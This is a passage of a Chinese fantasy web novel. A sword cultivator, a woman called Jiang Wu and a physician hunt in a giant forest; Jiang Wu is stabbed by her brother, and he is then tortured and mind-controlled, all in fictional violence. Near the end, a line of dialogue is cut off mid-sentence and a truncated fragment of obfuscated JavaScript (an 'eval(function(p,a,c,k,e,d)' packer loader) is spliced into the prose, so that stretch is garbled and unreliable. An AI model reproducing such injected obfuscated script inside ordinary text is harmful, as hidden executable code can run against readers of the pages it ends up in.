傅靖川神情认真地说:“医者仁心,既然被我遇上了,我便没有见死不救的理由,还请圣人帮帮我吧。” 段怀野笑着说:“你医者仁心,不求回报的救助别人,而我只是一介剑修,你要如何报答我呢?” 傅靖川的笑容一僵,他讷讷了几声,“我囊中羞涩,身上别无他长,若是圣人看得上,待我救治好大少爷,救了那可怜的女子之后,我傅靖川这条命随圣人处置。” “可以了。”姜芜开口道,“你随我一同吧,我带你去长木森林取芄虫。” 段怀野笑着调侃道:“怎么?我不过是逗他几句,只是长得相似而已,我连个长得像得都不能调侃几句吗?你也太小气了些,不能普天之下这种长相的人都是你的吧?” 姜芜并没有搭理段怀野,而是回头看了傅靖川一眼,“跟上来。” 傅靖川点了点头,随即背上药箱跟上了姜芜的步伐。 【长木森林边缘】 傅靖川仰头看着遮天蔽日的长木森林,这里的树木全部都有百米之高,有些甚至近千米,直冲云霄,一枚树叶比成年男子的两只手掌还要大,而治疗痨病所需要的芄虫就生长在长木森林的深处。 傅靖川笑着说:“今日跟着两位大能道尊,终于能进入长木森林之中,见识见识其中的奥妙了。” 段怀野找了处干净的地方席地而坐,四处捡着干柴准备烧火,“不急,我们来长木森林也是有要事要做,现下也快入夜了,给我一夜的时间,我需要做点东西出来。”说完,木堆瞬间自然,与黄昏同色,驱散了一片昏暗。 傅靖川闻言将身上的药箱放在地上,“那我给两位尊者捉些野兔来裹腹吧。” 姜芜问道:“杀得了兔子吗?” “当然。” 姜芜应了一声,抬手画了一个法阵,“不必去抓,在这里等兔子来便可。” 段怀野抬眸看了姜芜一眼,随后盘坐在火堆旁,从纳戒中取了一只炼器用的青铜鼎,他随意地投掷了一些天材地宝进去,四下寻找着可以做主器的东西。 “姜芜,把你头上的蝴蝶步摇给我呗?” 姜芜眉心一拢,招呼着傅靖川席地而坐,“你头发冠发的簪子也是可以的,不是非要用我的。” 段怀野朝着姜芜招了招手,示意她立刻将步摇投掷过去,“你发髻上有那么几支呢,少一支多一支的无所谓,赶紧给我应应急,我这根全靠它冠发呢,没了我头发可便散了。你宝贝的那么紧,那发簪该不会是那人给买的吧。” 傅靖川闻言立刻将自己头上别发的簪子取下递了过去,“若是圣人不介意的话,便用我的这根吧。” 段怀野神情不悦地扫了披头散发的傅靖川一眼,挥手将他手中的簪子引入了青铜鼎之中。 傅靖川勾唇笑了起来,他四下摸索了片刻,寻了个粗细适中的木枝子冠发,不至于太细而别断。 姜芜见状从纳袋中取了一支发簪递给了傅靖川,温声道:“将就着用吧,其实不用管着他的,他肯定会随便找个东西替代的,也不一定非是发簪的。” 傅靖川拒绝了姜芜的好意,随意地用木枝别发,随即对她说:“你也是我的恩人,而且你是我的救命恩人。” 姜芜看着傅靖川,随即幽幽地叹了口气,“不必一直挂怀在心上。” “这种事情要记在心上的,今生若无以报答,来世必定结草携环。”傅靖川神情认真地说,“方才便听到你同圣人讲到的那个人,他是谁......是同我长得像吗?” 段怀野阴阳怪气地笑了一声,他细着嗓子说:“那可是她的夫君。” 傅靖川神情一愣,抬眸看向姜芜求证。 段怀野问道:“话说你是真实存在的人吗?你那张脸是真的吗?不会是她夫君假扮的吧?” 傅靖川结结巴巴地说:“自然,自然是真的,身体发肤受之父母,我怎可随意更改?”说完,他看向姜芜的双眸之中出现了一丝的惶恐不安。 “原来......原来你......已经成亲了......” 姜芜勾唇笑了起来,“兔子已经进入到陷阱之中了,你去杀了吧。” 傅靖川点了点头,慌里慌张地爬起来往捕兔的法阵中走去。 段怀野笑着摇了摇头,“姜芜,不愧是你啊,走到哪里都有这么多人为你前仆后继,只是因为你的模样吗?” 姜芜闻言看向了段怀野,随即笑着说:“这个问题为何不问问你自己,爱慕我只是因为我的模样吗?” 段怀野若有所思地点了点头,“确实,这是个不错的问题。” 姜芜起身扫了扫衣摆上的杂草,随后朝着傅靖川走去,后者正抄着满手的血四处找水源。 姜芜直接掐诀将两只兔子引起,画了水咒将里外冲洗了个干净,顺手将皮毛剥下来烘干,“这兔子不错,体型挺大的,可以做个毛领。”说完,她便皮毛扔给了傅靖川。 “收起来吧。” 姜芜别有深意地看了傅靖川一眼,随后便向火堆处走去。 傅靖川将兔皮卷了起来,随后拽了一旁的草枝缠好。 两人坐回火堆旁,段怀野已经入定,精纯的灵力源源不断的涌入青铜鼎之中。 傅靖川看了段怀野一眼,随后将处理好的兔子绑在树枝上烤,他从随身携带的箱子中取了一些调料瓶撒在兔肉上,“很快便能吃了。” 姜芜凑上前看了一眼,正准备掐诀让兔肉熟得更快一些,却被傅靖川抬手拦下。 “等等,等等,我还有很多调料未加,这样兔子肉会烤不进味道去的。这里的树木没什么味道,等以后用松木烤,松木烤出来得野味更好吃。” 姜芜抬眸看了傅靖川一眼,目光落在了他的手上,“穿这么单薄,不冷吗?而且皮肤为何这般黑?” 姜芜说着,抬手搭在傅靖川的手腕处,指腹轻轻地搓了几下。 傅靖川被姜芜的体温烫得心中一颤,迅速避开了她的手,“没……没事,我习惯了,每日奔走采药嘛,风里来雨里去的,人肯定会粗糙一些的。” 姜芜挑眉,随即 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姜芜将兔肉用叶子托着放入了傅靖川的手中,“你吃吧,我不是很饿。”说完,她便起身站了起来,四下打量了起来。 他们在长木森林的边缘落脚,外围树木的高度并没有书中写得那般夸张,但也已经高出印象中的树木不少,杂草丛生,树叶遮天蔽月。 天黑之后,唯一的光源便是这堆篝火,天光甚至透不过树叶间的罅隙。 姜芜抬手掐诀,将灵力汇聚于她的双眸之上,这才如常地能看到四周的黑暗,很静,她甚至没有听到晚虫鸣叫声,也没有夜枭扇动翅膀的声音。 傅靖川见状问道:“怎么?有何异常吗?” 姜芜摇了摇头,笑着说:“别担心,我们有太初道尊呢。” 段怀野哼笑了一声,“调侃我呢?” “毕竟太初道尊的名头更响亮。” 姜芜话音刚落,段怀野的青铜鼎里便发出一阵十分清脆的声音,一根被雄厚灵力所包裹的发簪从其中浮了出来。 段怀野拍了拍手起身,上前扯了一根烤兔腿大嚼了起来,“成了。” 姜芜问道:“做何用处?” 段怀野起身抻了个懒腰,“用处可大了,能节省我们的时间,准确无误地找到我们所需要的那棵树。”说完,他便伸手去取那支法器,一条粉红色的舌头从黑暗中破空而来,卷了法器便隐于了黑暗之中。 姜芜抬眸看段怀野一眼,随即面带微笑地同傅靖川说:“看到了嘛,堂堂太初道尊,连已经刚炼制出的法器都护不住,都现下了还在愣神。” 段怀野摇了摇头,“我可没有在愣神,我只是在想到底是再炼制一个,还是追上去暴打那个东西一顿,然后把东西夺回来。” 姜芜闻言重新坐回了火堆旁,她看了一眼傅靖川手中丝毫未动的兔腿肉,“你吃啊,怎么不吃?还是说你在里面偷偷加了什么东西,以至于你不敢吃?” “没有,没有加东西的。”傅靖川便抓了几块兔腿肉塞进了口中,“干净的,除了那些调料什么都没有加。” 姜芜见状满意地笑了起来,她抬眸看向段怀野,“怎么?你还没决定好吗?” 段怀野捶了捶掌心,“我决定了,我们追上去。” 姜芜挑眉,不赞同地摇了摇头,“明日黄花,都跑到不知何地方去了,你还不如再炼制一支。” “那可是我炼制的东西,肯定是知晓在何处的。”段怀野上前踩灭了火堆,“跟我走,快点,再远我也不知晓那东西会去哪里。” 姜芜睨了段怀野一眼,随即看向傅靖川,开口问道:“吃完了吗?” 傅靖川摸黑抬眸看了段怀野一眼,迅速将剩余的兔腿肉塞进了口中,含糊不清地说:“吃完了,吃完了。” “不急,慢慢吃。”姜芜说,“你自己去吧,速去速回,我们在此处等你。” 段怀野神情诧异地看了姜芜一眼,“我们不是一起的吗?说不定就是你在这里烤兔子,气味太香以至于把怪东西招来了,你得对我负责。” “是吗?”姜芜神情有些无辜地看向段怀野,“可是我一口都没有吃这烤兔肉,倒是你吃了不少,这怎么算?” 段怀野上前一步便打算去扯姜芜的手,“你伸出手,我吐给你。” 姜芜极力往后扯着自己的手,不情不愿地说:“你恶心死了,走开了。” 段怀野不依不挠地说:“不行,我今日非要将兔子肉吐给你不成。” 姜芜拗不过段怀野,抬手掐诀却被后者轻易化解,只能拳打脚踢地躲闪着。 傅靖川见状立刻背着药箱站起了身,“事到如今,我们还是赶紧去追那个东西吧。” 段怀野闻言停下了手,收敛了玩闹的心思,“走吧。” 姜芜整了整衣襟,站起身长舒了口气,随即有些嫌弃地甩了甩手。 “请问,可以引水帮我打湿帕子吗?” 112. 心伤 姜芜闻言看了傅靖川一眼,随后掐诀引水打湿了他手中的帕子。 “擦擦手吧,会有脏污。” 傅靖川见姜芜看过来,立刻垂下了双眸,有些不自在地轻声道:“烤兔子难免会有油之类的,沾在手上会不舒服的。” 姜芜凌空画了一个净咒,将自己的双手清洗得干干净净,随后将滴着水珠的手举到了傅靖川的面前,明知故问道:“干净了吗?” 傅靖川点了点头,随后用手中的帕子擦干净了姜芜手上的水珠,将每一根手指都擦拭干净。 “干净了。” 傅靖川又从药箱中翻出一盒香膏,嚅嗫道:“冬月风寒且干燥,皮肤容易皲裂,我这里有一些油膏,可以适当涂抹一些。这里面添加了一些勿忘花的精油,不会太过于香腻。” 姜芜忍俊不禁,她面上带笑地睨了傅靖川一眼,伸手接过他递来的香膏,擦了一些在手背上,随后归还了香膏盒,叮嘱着跟上了段怀野。 段怀野在距离二人不足百米的位置,百无聊赖地揪着四处的杂草,他见姜芜跟了上来,随口问道:“腻歪完了?你怎么就只喜欢这类长相呢?不打算换换口味吗?” 姜芜挑眉,神情不耐地看着段怀野,“比如你吗?那我宁愿一样吃不腻的菜吃到撑。少贫,那东西抢了你的法器往那个方向去了?” 傅靖川背着自己的药箱急匆匆地赶了过来,他抬手擦了擦自己额间的热汗,“二位尊者,我们现下该往哪走?” 段怀野回头看了傅靖川一眼,随即对姜芜说:“你带着他,然后跟上我,说不定我们这次能直接找到那棵树和芄虫,然后早日离开这个鬼地方,方才我都没有看清楚那是个什么鬼玩意。”说完,他便朝着远处飞身而去。 姜芜朝着傅靖川走了几步,然后伸手牵起了他的手,蹭了一些香膏过去,“你别怕,方才不过是一只巨型的蜥蜴而已,只是因为夜色的掩盖,所以肉眼难以分辨而已。” 傅靖川垂眸看了一眼两人交握的手,神情郑重地点了点头,“嗯,我不怕的。” 姜芜带着傅靖川迅速追上了段怀野,“你要小心了,我觉得那个东西并不好抓。” 段怀野的鬓发被风吹至身后,他侧眸看了姜芜一眼,随即抬手召唤出了太初剑,蓝色的剑光大盛,随即一道金光撕裂蓝光而出,将其完完全全的覆盖、替代。 段怀野并指向前一挥,太初剑随心而动,瞬间幻化出成千上万的虚影,向着巨蜥的方向掠去。 巨蜥口中发出一阵古怪的声音,它飞身跃向一旁的树木,身体瞬间与树干同色,一时之间难以分辨。 “小东西,还挺能跑。” 段怀野虚空一握,斩魄剑凭空而现,他迅速追了上去。 姜芜带着傅靖川立于空地上,随后抬手掐诀,她双手上下翻飞着,无数的金线从她掐诀的手中漂浮而出,随着她手臂张开的动作迅速在四周张开,缠绕于树干之上,形成一道巨网。 巨蜥直接撞到金网上显了形,金网迅速收拢,将它缠绕了起来。 巨蜥挣扎无果,神情惊恐地看着持剑飞来的段怀野,随即立刻张嘴将口中的法器吐了出来,讨好地看着来者,希望以此来换得一个生存的机会。 段怀野手持斩魄剑直接捅穿了巨蜥的腹部,又挽着剑花在它身上划了几道,最后一剑才刺入了它的心脏,结束了巨蜥的生命,腥臭的液体带着脏器流淌了出来,巨蜥的身体抽搐了一番便不再动弹。 姜芜快步与傅靖川赶来,她看着段怀野捡起地上的法器,又看了一眼巨蜥的尸体,有些不赞同他的做法。 “不过是长木森林中的精灵,你又何必如此赶尽杀绝?” 傅靖川看着地上一团血肉模糊的东西,面色一白,忍不住跑到一旁呕吐了起来。 段怀野夺了傅靖川手中的帕子,擦拭起斩魄剑,不以为然地说:“你方才不是也杀了兔子吗?怎么突然指责起我杀一只畜牲来?” 姜芜蹙眉,神情不悦地问道:“一击毙命的杀与虐杀能一样吗?” “有什么区别吗?都是杀,都是剥夺性命,让它死得痛快一些,与让它死得折磨一些,最后不都是要它的命?”段怀野擦干净斩魄剑上的血渍,缓步走向姜芜,“你所谓的慈杀,不过是给自己找一个过得去的理由而已,没必要如此得优柔寡断。” 姜芜静静地看着段怀野,不动声色地与他对视着。 段怀野心绪复杂地看着姜芜,觉得自己此生所有的慈悲与犹豫真是给足了面前这个不知好歹的女人。 傅靖川看了二人一眼,随即抚着自己的胸口,声音虚弱地说:“二位尊者,你们先别吵了,有没有听到奇怪的声音?” 傅靖川的话音一落,璧畲玺与厍灯落在了三人斜上方的树干上,他们的腰间都坠着一只不小的布袋,里面像是装满了圆滚滚的东西。 姜芜定睛一看,随即拢起了眉心,“阿灯,你腰间挂得是什么?” 段怀野挑眉,“这便是你说的那个弟弟?” 厍灯将腰间的布袋解下,反手递给了璧畲玺,“你先走。” 璧畲玺接过应了一声,“别跟他们起冲突。” 厍灯说:“不会,那可是我姐姐。” 姜芜见璧畲玺走远,立刻催促段怀野去追,“把那两口布袋劫下来便行,我过后再同你解释。” “行。” 段怀野拖着长腔应道,随即纵身去追璧畲玺。 厍灯从树干上跳了下来,一步一步地朝着姜芜走了过去,“姐姐,想我了吗?” 姜芜说:“你做的事情,比我想象中还要多,你们到底想要什么?又是何时同烛九阴他们合作的?” 厍灯停在了距离姜芜三步远的位置,“我们目的相同,都是要打破结界,让族人自由,这有错吗?” 姜芜神情凝重地看着厍灯,想起了沙漠之中通往昆仑山的法阵,“所以,三妖叛变是假的,让寂满化龙也是假的?阿灯,别傻了,妖族会有那么好心帮你们吗?人面鬼和羽族都是无辜的,莫要再拿它们来做傻事了。” “我们不会被烛九阴牵着鼻子走的,姐姐你放心好了。” 厍灯说着继续朝姜芜走去,此时已经走到了她的面前。 “姐姐,你还不曾告诉我,你想弟弟没有?” 厍灯话音刚落,身体便直接飞了出去,他迅速调整好姿势,滚落到一旁,单膝稳住自己的身体,抬眸神情警惕地看着四周,却发觉并无可疑之人。 厍灯低头呕出一口鲜血,随即笑着说:“姐姐,你打得弟弟好痛啊。” 姜芜静静地看着厍灯,“所以说,你在青州说的话都是骗我的,谷卿云的事情也是假的?长生到底是谁的孩子?” 厍灯擦去唇角的鲜血,“姐姐,我没有骗你,长生就是我的孩子啊。” “寂满化龙以后,撞破大荒的结界便可能已经没命了,根本不能再有撞破无幻之境结界可能。”姜芜说,“况且,你们怎能骗他,他真的以为平平无奇的自己可以为大荒出一份力。” 姜芜想起寂满跃天门之时的努力,顿时觉得一阵恶寒,很难想象苍旻会以欺骗的方式如此做抉择。 厍灯扬声道:“撞破大荒结界,让自己的族人拥有自由,这还不算出一份力吗?妖族又不傻,无幻之境的结界不破,没有戾气供神树吸纳,也就等于没有灵力,他们照样活不下去,人族修士的修为也停滞不前。这样的话,大家一起死好了!” 厍灯话风一转,嬉笑着对姜芜说:“况且……寂满是否能在撞破大荒结界后活下来,我们还有姐姐,是不是?” 姜芜闻言长长地舒了一口气,神情有些疲惫地看向厍灯,面前这个人让她很陌生,已经没有了当年被她护在怀中的奶团子模样,而是成为了一个俊美无俦的成年修罗。 厍灯没有姜芜幸运,从小能够得睢羲庇护,他是在无幻之境中一拳一拳打出来,一步一步爬到现下。 所以,姜芜觉得厍灯成为现下这副模样,也有她的错,是她没有引导好厍灯。 “阿灯……” 厍灯狠下心说:“牺牲几个人,换取大部分人,这很划算。再说了,你真的是我姐姐吗?我姐姐真的还活着吗?与其说你是我姐姐,不如说是占据了我姐姐身体的……” 一股巨力从一旁袭来,直接击打在了厍灯的脸上,止住了他后面的话。 段怀野活动着手腕自暗处走近,随口抱怨道:“那家伙仗着自己对这一带熟悉,居然将我甩掉了。这是怎么了,你们姐弟闹矛盾了?” 段怀野看了一眼垂着头不语的厍灯,随即又抬眸看了一眼姜芜,他走上前轻声问道:“怎么了?” 姜芜偏过头,在段怀野抬手想抚摸她的脸颊时,她抬手推开后者,随后召唤出无心乱,将厍灯捆了起来。 姜芜冷声道:“厍灯,带我们去找璧畲玺。” 厍灯刚要张嘴拒绝,却发觉姜芜把他的整个口腔都冻住,他连个威胁都开不了口。 姜芜走上前,反手一拧无心乱的手柄,捆在厍灯身上的长鞭瞬间勒紧。 厍灯被勒得闷哼一声,直接跪在了地上,他抬起头看着姜芜,朝着她膝行几步。 姜芜伸手抚上厍灯的头发,实则制止了他的前行。 厍灯靠在姜芜身上,轻轻地摇了摇头,身体力行地拒绝着她的提议。 “我受人所托,要帮忙找回那些人面鬼。”姜芜叹了一息,“阿灯,你帮帮忙。” 厍灯抬眸看着姜芜,支吾了片刻示意她将自己的口禁解开。 姜芜轻点了一下厍灯的脸颊,法术立刻消失。 “你不愿意失信于人,你有诚信,在世人面前你可靠,你强大,可为何偏偏失信于我?你说好要照顾我、保护我一辈子的,你怪我投靠主战派,你可知没有璧畲玺,我早就死了。” 【草屋】 常奉眠一直在装睡。 现下月上中天,四下的一切都静悄悄的,偶尔有早春的几声虫鸣。 常 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青鳞有些不赞同地摇了摇头,她掐诀施法将木柴点燃,先是烧热了鸡汤给常奉眠盛了半碗,“先暖暖肠胃,大半日没有吃东西了吧。不喝一些的话,到时吃了会不舒服。” 常奉眠捧着手中的碗,低头喝了一口,鸡汤咸淡适中,充盈起了她干瘪的胃囊,她觉得空落落的心也落到了实处,“谢谢您,这么晚了,还麻烦您给我做饭。” 青鳞将面条放进锅中,用筷子轻轻地抖开,“不必如此拘谨,你若是饿坏了,寂满也会担心的。” 常奉眠闻言抿了抿双唇,心中有些不安与烦躁,“他将他的心事都告诉您了吗?您是来游说我的吗?” 青鳞将煮好的面条捞了出来,放到了常奉眠面前的桌子上,“你不要多想,先把饭吃了,我没有那个意思。感情这种事情,最重要的便是两情相悦,强求最终只会两败俱伤,我希望你们都可以做幸福快乐的孩子。”说完,她将筷子放进了常奉眠的手中。 常奉眠不言不语地攥紧手中的筷子。 “眠眠,我听他们都是这般叫你的,阿满说你是个很活泼的女孩子。”青鳞温声道,“阿满从小被我宠坏了,是个直性子,若是言语上有冒犯你的地方,我在这里给你赔不是了。” 常奉眠用筷子挑着碗中的面条,摇了摇头说:“您千万不要这么说,寂满很照顾我的。” 青鳞见状也不再多言,只是叮嘱常奉眠吃饭,随即她便起身准备向外走去。 “夫人,请等等。”常奉眠开口道,“您不打算再说些什么了吗?就这样离开吗?” 青鳞问道:“你还想听我说些什么呢?” 常奉眠局促地抿了抿双唇,“毕竟我现下无依无靠的,眼睛又看不见了,若是您说一些强迫我的话,我估计会当场翻脸,这样便不会对寂满有所亏欠了。” 青鳞抬眸看了一眼夜空中的月亮,笑着问道:“眠眠,你为何会这般想?” “因为自从我的眼睛瞎了之后,便是寂满一直陪着我。”常奉眠放下手中的筷子,自暴自弃地说,“我夜间时长会做些噩梦,也是他安慰的我,他还从他的父亲那里求了龙鳞给我,我觉得我亏欠寂满良多......但是......” 青鳞笑容不改地问道:“但是你又不喜欢他对吗?” 常奉眠立刻否认道:“不是,我只是不想让他伤心而已,我和他本就是不可能的,此生我是无法报灭族之仇了,寂满心地如此纯真善良,他配得上更好的更单纯的姑娘,而不是我这种深陷仇恨漩涡中无法自拔的人。我走不出仇恨,便无心顾及其他,也不希望寂满一直在我身上浪费时间。” 青鳞闻言笑出了声,“眠眠,先吃饭吧,等填饱了肚子便不会想这些乱七八糟的东西了。” 常奉眠应了一声,低头吃起了碗中的面条,“我总觉得心里空荡荡的。” 青鳞问道:“是因为饥饿还是因为大仇得报的无依托?” 常奉眠闻言,低喃道:“大仇得报的无依托?我报仇了吗?从应真的死了吗?” 青鳞默不作声地看着常奉眠,试图从她的面上揣摩出几分心意。 常奉眠突然笑了起来,“哈,我真的杀了从应,我真的报仇了,我可太开心了。我的父亲与族人在天有灵,可以瞑目了。” 寂满坐在草亭中从头到尾地听着一切,他透过厨房的门帘看着里面的常奉眠,随即幽幽地叹了一息,幻想着若是自己有能够治愈心灵创伤的本领便好了,这样他便可以替常奉眠抚平伤疤。 又或者,他现下可以冲进去杀死从应,替常奉眠的父亲以及族人报仇,若是提着从应的向上人头,不知晓常奉眠是否会高兴。 青鳞缓步走进草亭之中,看着寂满一脸心事的模样,伸手摸了摸他的发顶,“阿满,在想何事?” 寂满如实道:“在想......如何才能让她开心,娘,你说我该怎么办?这样骗她真的好吗?” 113. 亏欠 姜芜突然觉得下腹一凉,她拢紧眉心,依旧轻柔地抚摸着厍灯的墨发,“你就这么怨恨我吗?” “姐姐,我也不想这般做的,但是他们说这样卿云便能回来,我亏欠她实在太多,既然你也亏欠我,那便弥补我吧。” 厍灯抬眸神情冰冷地看着姜芜,手中握着一柄没入她腹部的匕首,他意欲上挑剖开姜芜的胸腔,取出那枚隐藏在心脏中的五彩之石。 姜芜抬手轻轻擦去厍灯面颊溅上的鲜血,“原来你们都知晓,玃如还戏称我为不可知人,是我心急,是我疏忽大意了。” 段怀野见状立刻上前击飞厍灯,关切地问道:“姜芜,你没事吧?” 厍灯见状挣脱开无心乱,立刻飞身向远处掠去。 “姜芜,你自己找疗伤,我把那人抓回来给你出气。”说完,段怀野越过姜芜,紧追着厍灯而去。 “别……别伤他……” 姜芜跟着向前走了两步,随即体力不支跪坐在地,她抬手施法止血,却发觉这伤口不仅疼痛难忍而且无法愈合,大抵是厍灯在上面涂了黑荆藤。 姜芜长舒了一口气,放弃了给自己止血疗伤的念头。 傅靖川一边从药箱中取着各种瓶瓶罐罐,一边急步走到姜芜身侧,“尊者,你怎么样?” 姜芜抬眸看了傅靖川一眼,将手指从纳袋中收回,“不太好,你那有没有止血的药粉。” 傅靖川点了点头,“有,我有。” 姜芜伸手解开自己的衣带,一层一层地拨开自己的衣裳,露出从小腹横贯至肋骨边缘的伤,白皙的肌肤上血肉模糊,伤口边缘皮肉外翻着,看起来格外的骇人。 “快一点,有点痛,我自己治不了,这上面有黑荆藤,会腐蚀伤口,不易愈合。” 傅靖川手足无措地举着药瓶,他有些紧张地看着姜芜,“您先平躺下来吧。” 姜芜调整了一番姿势,往后靠近了傅靖川的怀中,“躺在地上要硌死了,我要躺在你身上。” 傅靖川惊得坐在了地上,他的双臂僵在半空中不知该如何是好。 “几日没见便生疏了吗?”姜芜笑着说,“要不我再脱几件,让你熟悉熟悉?” 傅靖川立刻取了纱布去擦姜芜伤口附近的鲜血,汗珠密密麻麻地挂上了他的额头,“尊者勿要妄言,我们何时这般坦诚过?” 姜芜疼得整个人都弹了一下,随即便蜷缩了起来,她意识朦胧地抬手去制止傅靖川的动作。 “伤口很深,或许要缝合一下。”傅靖川取了一颗药丸塞进了姜芜的口中,“醒醒,别睡过去了。” “我不想缝,留疤好丑的。” 姜芜觉得药丸迅速在口中化开,药效很快起作用,伤口立刻便不疼了,只剩下了一阵一阵的麻木感。 “这个药的药效太大了,这是起死回生吊命的药,你拿错了。” 傅靖川沉默着擦干净了姜芜身上的血,将药粉抖在伤口上,托着她的腰将绷带缠好勒紧,以防伤口绷裂开来。 姜芜伸手按了按自己的伤口,声音轻飘飘的,“这样太紧了,伤口会溃烂的。” “等黑荆藤的作用褪去,很快便会愈合,若是不缠紧一些……”傅靖川覆在姜芜小腹上的手突然缠满黑气,他稍稍用力便探入了她的腹腔之中,“……里面的这些东西会流出来……” 姜芜难受地反弓起了身,她按着傅靖川的手,十分难受地蹬了蹬腿,“别,疼,很疼。” 傅靖川闻言收回手,取了干净的帕子给姜芜擦净身上的血液,随后将她凌乱的衣裳一一整理好。 姜芜卸力,身体绵软地靠进了傅靖川的怀中,缓慢地合眸陷入了沉睡。 傅靖川垂眸,吻去了姜芜眼角的泪珠。 段怀野抓着鼻青脸肿的厍灯返回原地,却不见姜芜的踪迹,他晃了晃手中的厍灯,“你看,你把你姐伤了,有野兽寻着血腥味过来将你姐叼走了。” 厍灯龇牙咧嘴地说:“胡说八道!她那么强,谁能奈何得了她?” 段怀野挑眉,“她强什么?你所谓的她那么强,你不还是轻而易举地就伤了她吗?” 厍灯顿时哑口无言。 段怀野掐诀寻找姜芜的踪迹,确定方向之后立刻找了过去。 姜芜正面色惨白地缩在一旁的苔藓地里,身下铺着那件黑红色的大氅,闻声她抬眸看了段怀野一眼,随即拥着大氅起身,气若游丝地说:“回来了?” 段怀野蹙眉,“你怎么这么多汗?还这么憔悴?” 傅靖川抬眸看了姜芜一眼,随后往火堆中扔了几根树枝。 姜芜捂着身上的伤口,看着厍灯说:“因为他在匕首上涂了黑荆藤的汁液,我的伤口现下根本止不住血。” 段怀野扬手将厍灯扔到姜芜面前,“这小子身上一点戾气都没有,没两招便打趴下了,你看准备怎么办?” “你找到合适的树木了吗?”姜芜神情冷淡地说,“让他带我们去找那些人面鬼吧。” 段怀野踢了踢厍灯的腿,“听到了吗?否则就杀了你。” 厍灯冷笑了一声,“姐姐才不会杀我呢,是不是啊,姐姐可疼我了。” 段怀野召出太初剑直接刺入厍灯脸侧的土地之中,“她确实不会杀你,但是我不一定,毕竟在我手下死去的修罗数不胜数。” 厍灯瞬间瞪大了双眸,太初剑的剑身上映出了他狼狈的一面,“姐姐,你不要阻我们!” 傅靖川抬眸看了厍灯一眼,起身取了一只水袋递到了姜芜面前,“尊者,喝些水吧。” 姜芜仰头喝了一口水,润了润干裂发腥的喉咙,“厍灯,你想自愿带路,还是强制性带路?” 厍灯盯着姜芜看了片刻,随后默不作声地合上了双眸。 段怀野笑道:“好哇,你小子敬酒不吃吃罚酒,我现下便满足你!”说完,他单手迅速掐诀,一道精纯的真元之力迅速入侵了他的识海,并张牙舞爪地侵占住了每一寸地方。 厍灯顿时疼得大喊大叫起来,他的识海被入侵,忍不住地在地上翻滚,捂着头撞击地面和树干来缓解疼痛。 “姐姐……姐姐救我……我知道错了……我好疼……” 厍灯匍匐着上前扯住了姜芜的裙角,将胀痛难忍的头磕在她的鞋子上。 “姐姐……救救……救救我……” 姜芜神情淡漠地看着厍灯,腹部的伤口又在隐隐作痛。 段怀野见状立刻道:“姜芜,你可千万不能心软。” 姜芜抬眸看向段怀野,“让他带我们去找这里的人面鬼和璧畲玺。” 段怀野看着姜芜,勾唇一笑,“没问题。” 姜芜捂着腹部艰难地起身,随后将大氅披在了身上,“走吧。” 段怀野抬手扣在厍灯的头上,直接控制了后者的识海,短暂地让其成为了一个傀儡。 厍灯动作缓慢地站了起来,眼中的光芒像烛火一般迅速熄灭,随后快速朝着一个方向冲去。 “姜芜,跟上!” 段怀野见状立刻跟了上去。 姜芜见段怀野瞬间没了踪迹,转身静静地看着傅靖川。 傅靖川抬眸看了姜芜一眼,便开始不急不慢地开始收拾自己的药箱。 姜芜见状缓慢地移动上前,随后趴在了傅靖川的背上,“你在哪遇到的这个人,何时开始学习药理的,不是说好了的,我教你吗?” 傅靖川不语,只是一边背着姜芜,一边收拾自己的东西,等全部收拾完,踩灭了火堆,才不紧不慢地背着姜芜去追赶段怀野。 姜芜揽着傅靖川的脖颈问道:“为何不同我讲话?” 傅靖川察觉到姜芜温热的气息扑在他的脸侧,不自觉地红了耳廓,磕磕绊绊地问道:“尊者……想让我同你讲何事?” 姜芜轻笑了一声,她伸手捏捏了傅靖川的脸颊,“这次是附身还是换脸?这么喜欢玩啊?这张脸再像有什么用?我都没兴趣,更何况一点都不像。” 傅靖川不语。 姜芜见状凑上前蹭了蹭傅靖川的侧脸,轻声道:“不说便不说吧,这样待着也挺好的,也有段时间未见了。” 傅靖川突然开口道:“不久,也就两日,要追上段怀野了。” 姜芜勾唇笑了起来,她探头用力抵了一下傅靖川耳后的位置,随后才说:“把我放下来吧。” 傅靖川停下脚步,寻了一处好落脚的地方把姜芜放了下来。 姜芜攀附着傅靖川的手臂站稳,随即笑盈盈地抬眸看着他,然后勾着他的手指往前走去。 “姜芜,幻梦水对我无用。” 姜芜应了一声,“那可真是让你听笑话了。” 傅靖川蹙眉,“什么?” “毕竟我对百衢说了一些玩笑话,让你听到便听到吧,但是你有没有想过我说的那个问题?为何当初那么肯定我便是濯漪?” 姜芜话音刚落便觉得身后的人停下了脚步,她转身向后看去。 “怎么了?” 傅靖川看着姜芜,缓步走上前,伸手抚开了她脸上的乱发,顺势将她拢在了怀中,“我怎么会认错?” 姜芜抚了抚傅靖川的后背,随即后退半步,她抬眸看着傅靖川,伸手拨弄了几番后者的额发,“你现下这副模样,让我想起了之前。虽然与现下没有多大的差别,但是感觉上那时年轻很多。下次出来,记得要多穿一些。” 傅靖川心绪复杂地看着姜芜,“走吧,你要找的人面鬼就在前方。” “好。” 姜芜转身向前走去,她抬手一指,戾气奔涌向前,碾碎灌木丛和草叶,开辟出了一条新的道路。 “走吧。” 姜芜寻着段怀野的气息,一路来到了一处空地前,这里的树干上挂着大大小小的木制房子,此时一些小羽人正好奇地从其中探出头来。 段怀野同一群羽人对立而站,厍灯面无表情地跪坐在他的脚边。 璧畲玺见状问道:“臭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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璧畲玺挑眉,他回头看了一眼段怀野口中所说的树,“你们想要这个啊?这可是羽族人的圣树,他们怎么可能会给你?”说完,他便后退进了羽族人之中,随即高声呼喊道。 “他们二人想要夺取圣树,圣树绝不能落入外人之手,誓死保卫圣树!!!” 所有人的羽人周身一震,双眸中亮出精光,随即高呼道:“誓死保卫圣树!!!誓死保卫圣树!!!誓死保卫圣树!!!” 大批的羽人展开自己的双翼,朝着姜芜和段怀野飞去。 姜芜睨了段怀野一眼,“你这么会挑吗?这长木森林之中如此多的树,你偏偏盯上他们的圣树吗?” 段怀野反手一拧,将真元之力灌入太初剑之中,“要挑当然是挑最好的。”说完,他便手持太初剑,朝着那群羽人冲了过去。 姜芜急忙道:“不要伤他们性命!” 段怀野的神情流露出一丝的不耐,“啧,真是麻烦。” 